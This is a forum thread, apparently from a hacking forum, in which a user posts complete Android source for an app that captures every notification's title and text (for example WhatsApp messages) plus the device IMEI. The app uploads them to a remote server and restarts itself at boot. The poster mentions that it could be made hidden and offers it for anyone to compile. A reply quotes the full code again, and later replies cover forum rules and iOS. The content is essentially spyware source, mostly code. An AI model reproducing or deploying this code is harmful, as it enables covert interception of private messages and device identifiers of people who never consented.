A small free notification listener for android - cephregada - Oct 3, 2017
Well here is an application in android that listens to notifications and send them to a database on your own server.
it can read both the body and the title of the notification, so if someone sends you something on whatsapp while you are outside the conversation, the app will read it and send it to a database.
In this source i didn't make it a hidden service nor a secure communication for it not to be exploited, you will have do a little coding, you are welcome to do whatever you want with it. It's a part of the tools i develop.
pub.java ---- this is the actual listener, edit the url string to wherever your nn.php is
Code import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.support.v4.content.LocalBroadcastManager;
import android.telephony.TelephonyManager;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
public class pub extends NotificationListenerService {
String url = "http://192.168.x.x/nn.php";
Calendar calendar = Calendar.getInstance();
SimpleDateFormat dateformat = new SimpleDateFormat("yyyy / MM / dd ");
SimpleDateFormat timformat = new SimpleDateFormat("HH:mm:ss aaa");
String finaldate = dateformat.format(calendar.getTime());
String finaltime = timformat.format(calendar.getTime());
Context context;
@Override
public void onCreate() {
super.onCreate();
context = getApplicationContext();
}
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Intent received = new Intent("Msg");
String pack = sbn.getPackageName();
received.putExtra("package", pack);
String ticker = sbn.getNotification().tickerText.toString();
received.putExtra("ticker", ticker);
Bundle extras = sbn.getNotification().extras;
String title = extras.getString("android.title");
received.putExtra("title", title);
String text = extras.getCharSequence("android.text").toString();
received.putExtra("text", text);
LocalBroadcastManager.getInstance(context).sendBroadcast(received);
TelephonyManager telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
String imeilol = telephonyManager.getDeviceId();
SendDataToServer(pack,ticker,title,text,finaldate,imeilol,finaltime);
}
public void SendDataToServer(final String pack, final String ticker,final String title,final String text,final String date,final String imeilol,final String time){
class SendPostReqAsyncTask extends AsyncTask<String, Void, String> {
@Override
protected String doInBackground(String... params) {
String packagen = pack ;
String tickerss = ticker ;
String titles = title ;
String textbody = text ;
String datedate = date ;
String imei = imeilol ;
String time1 = time ;
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("pack", packagen));
nameValuePairs.add(new BasicNameValuePair("ticker", tickerss));
nameValuePairs.add(new BasicNameValuePair("title", titles));
nameValuePairs.add(new BasicNameValuePair("text", textbody));
nameValuePairs.add(new BasicNameValuePair("date", datedate));
nameValuePairs.add(new BasicNameValuePair("imeilol", imei));
nameValuePairs.add(new BasicNameValuePair("time", time1));
try {
HttpClient httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs, "UTF-8"));
HttpResponse response = httpClient.execute(httpPost);
HttpEntity entity = response.getEntity();
} catch (ClientProtocolException e) {
} catch (IOException e) {
}
return null;
}
@Override
protected void onPostExecute(String result) {
super.onPostExecute(result);
}
}
SendPostReqAsyncTask sendPostReqAsyncTask = new SendPostReqAsyncTask();
sendPostReqAsyncTask.execute(pack,ticker,title, text,date,imeilol,time);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
}
}
BootReceiver.java ------ this will receive a boot command to run the service after boot
Code import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Intent j = new Intent(context, pub.class);
j.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(j);
}
}
add those permissions and service and receiver in your manifest
Code <uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<service android:name=".pub"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:permission="android.permission.RECEIVE_BOOT_COMPLETED" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</receiver>
nn.php -------- this is the file you put on your webserver to parse the data pushed by you droid, change the hostname,username,password and dbname accordingly
change the table name in the sql query and don't forget to make the table in mysql that contains columns "appl,ticker,title,text,date,imei,time" or you can change them to whatever you want
because i couldn't get the [paste] tag to work and HF's firewall is screaming on php, here is the code of the nn.php https://pastebin.com/9bFaFaeF
After all of that, you should go to the notification access in your settings on the droid and enable the app
Information will always be free.
* - Purple Kief - Oct 3, 2017
You should post this in the coding section, it doesn't really belong here.
* - cephregada - Oct 3, 2017
(Oct 3, 2017 11:02 AM)Purple Kief Wrote: You should post this in the coding section, it doesn't really belong here.
Probably should have but people there are not active a lot, thought of bringing this here for people to take it and compile it
* - Purple Kief - Oct 3, 2017
(Oct 3, 2017 11:07 AM)cephregada Wrote: Probably should have but people there are not active a lot, thought of bringing this here for people to take it and compile it
It's against site rules to do something like that. I guess if nobody reports you you should be fine though.
* - cephregada - Oct 3, 2017
(Oct 3, 2017 11:08 AM)Purple Kief Wrote: It's against site rules to do something like that. I guess if nobody reports you you should be fine though.
You mean posting in the wrong thread ? or posting source codes ? and can i delete the thread ?
* - Purple Kief - Oct 3, 2017
(Oct 3, 2017 11:09 AM)cephregada Wrote: You mean posting in the wrong thread ? or posting source codes ? and can i delete the thread ?
Posting a thread in the wrong section. It'll get moved by staff regardless.
* - cephregada - Oct 3, 2017
(Oct 3, 2017 11:10 AM)Purple Kief Wrote: Posting a thread in the wrong section. It'll get moved by staff regardless.
Sorry for the questions, should i wait for the staff to remove it and post it again in the coding section or i can just paste it now ?
* - Purple Kief - Oct 3, 2017
(Oct 3, 2017 11:12 AM)cephregada Wrote: Sorry for the questions, should i wait for the staff to remove it and post it again in the coding section or i can just paste it now ?
If your post has been reported: Wait for staff to move it
If it has not yet been reported: Kindly PM a staff member saying you screwed up and posted in wrong section.
* - cephregada - Oct 3, 2017
(Oct 3, 2017 11:27 AM)Purple Kief Wrote: If your post has been reported: Wait for staff to move it
If it has not yet been reported: Kindly PM a staff member saying you screwed up and posted in wrong section.
Ok thank you will do
* - Satur - Oct 3, 2017
(Oct 3, 2017 11:00 AM)cephregada Wrote: Well here is an application in android that listens to notifications and send them to a database on your own server.
it can read both the body and the title of the notification, so if someone sends you something on whatsapp while you are outside the conversation, the app will read it and send it to a database.
In this source i didn't make it a hidden service nor a secure communication for it not to be exploited, you will have do a little coding, you are welcome to do whatever you want with it. It's a part of the tools i develop.
pub.java ---- this is the actual listener, edit the url string to wherever your nn.php is
Code import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.support.v4.content.LocalBroadcastManager;
import android.telephony.TelephonyManager;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.List;
public class pub extends NotificationListenerService {
String url = "http://192.168.x.x/nn.php";
Calendar calendar = Calendar.getInstance();
SimpleDateFormat dateformat = new SimpleDateFormat("yyyy / MM / dd ");
SimpleDateFormat timformat = new SimpleDateFormat("HH:mm:ss aaa");
String finaldate = dateformat.format(calendar.getTime());
String finaltime = timformat.format(calendar.getTime());
Context context;
@Override
public void onCreate() {
super.onCreate();
context = getApplicationContext();
}
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Intent received = new Intent("Msg");
String pack = sbn.getPackageName();
received.putExtra("package", pack);
String ticker = sbn.getNotification().tickerText.toString();
received.putExtra("ticker", ticker);
Bundle extras = sbn.getNotification().extras;
String title = extras.getString("android.title");
received.putExtra("title", title);
String text = extras.getCharSequence("android.text").toString();
received.putExtra("text", text);
LocalBroadcastManager.getInstance(context).sendBroadcast(received);
TelephonyManager telephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
String imeilol = telephonyManager.getDeviceId();
SendDataToServer(pack,ticker,title,text,finaldate,imeilol,finaltime);
}
public void SendDataToServer(final String pack, final String ticker,final String title,final String text,final String date,final String imeilol,final String time){
class SendPostReqAsyncTask extends AsyncTask<String, Void, String> {
@Override
protected String doInBackground(String... params) {
String packagen = pack ;
String tickerss = ticker ;
String titles = title ;
String textbody = text ;
String datedate = date ;
String imei = imeilol ;
String time1 = time ;
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
nameValuePairs.add(new BasicNameValuePair("pack", packagen));
nameValuePairs.add(new BasicNameValuePair("ticker", tickerss));
nameValuePairs.add(new BasicNameValuePair("title", titles));
nameValuePairs.add(new BasicNameValuePair("text", textbody));
nameValuePairs.add(new BasicNameValuePair("date", datedate));
nameValuePairs.add(new BasicNameValuePair("imeilol", imei));
nameValuePairs.add(new BasicNameValuePair("time", time1));
try {
HttpClient httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs, "UTF-8"));
HttpResponse response = httpClient.execute(httpPost);
HttpEntity entity = response.getEntity();
} catch (ClientProtocolException e) {
} catch (IOException e) {
}
return null;
}
@Override
protected void onPostExecute(String result) {
super.onPostExecute(result);
}
}
SendPostReqAsyncTask sendPostReqAsyncTask = new SendPostReqAsyncTask();
sendPostReqAsyncTask.execute(pack,ticker,title, text,date,imeilol,time);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
}
}
BootReceiver.java ------ this will receive a boot command to run the service after boot
Code import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Intent j = new Intent(context, pub.class);
j.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(j);
}
}
add those permissions and service and receiver in your manifest
Code <uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<service android:name=".pub"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:permission="android.permission.RECEIVE_BOOT_COMPLETED" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</receiver>
nn.php -------- this is the file you put on your webserver to parse the data pushed by you droid, change the hostname,username,password and dbname accordingly
change the table name in the sql query and don't forget to make the table in mysql that contains columns "appl,ticker,title,text,date,imei,time" or you can change them to whatever you want
because i couldn't get the [paste] tag to work and HF's firewall is screaming on php, here is the code of the nn.php https://pastebin.com/9bFaFaeF
After all of that, you should go to the notification access in your settings on the droid and enable the app
Information will always be free.
Do you have any idea if this is possible on iOS?
* - cephregada - Oct 3, 2017
(Oct 3, 2017 11:38 AM)Satur Wrote: Do you have any idea if this is possible on iOS?
I don't know about ios a lot, but what i know is that it would be nearly impossible, i mean on ios you can't even ask for the imei of the device, they give you a uid instead
We are talking about a non jailbroken ios systems, dunno about jailbroken tho
|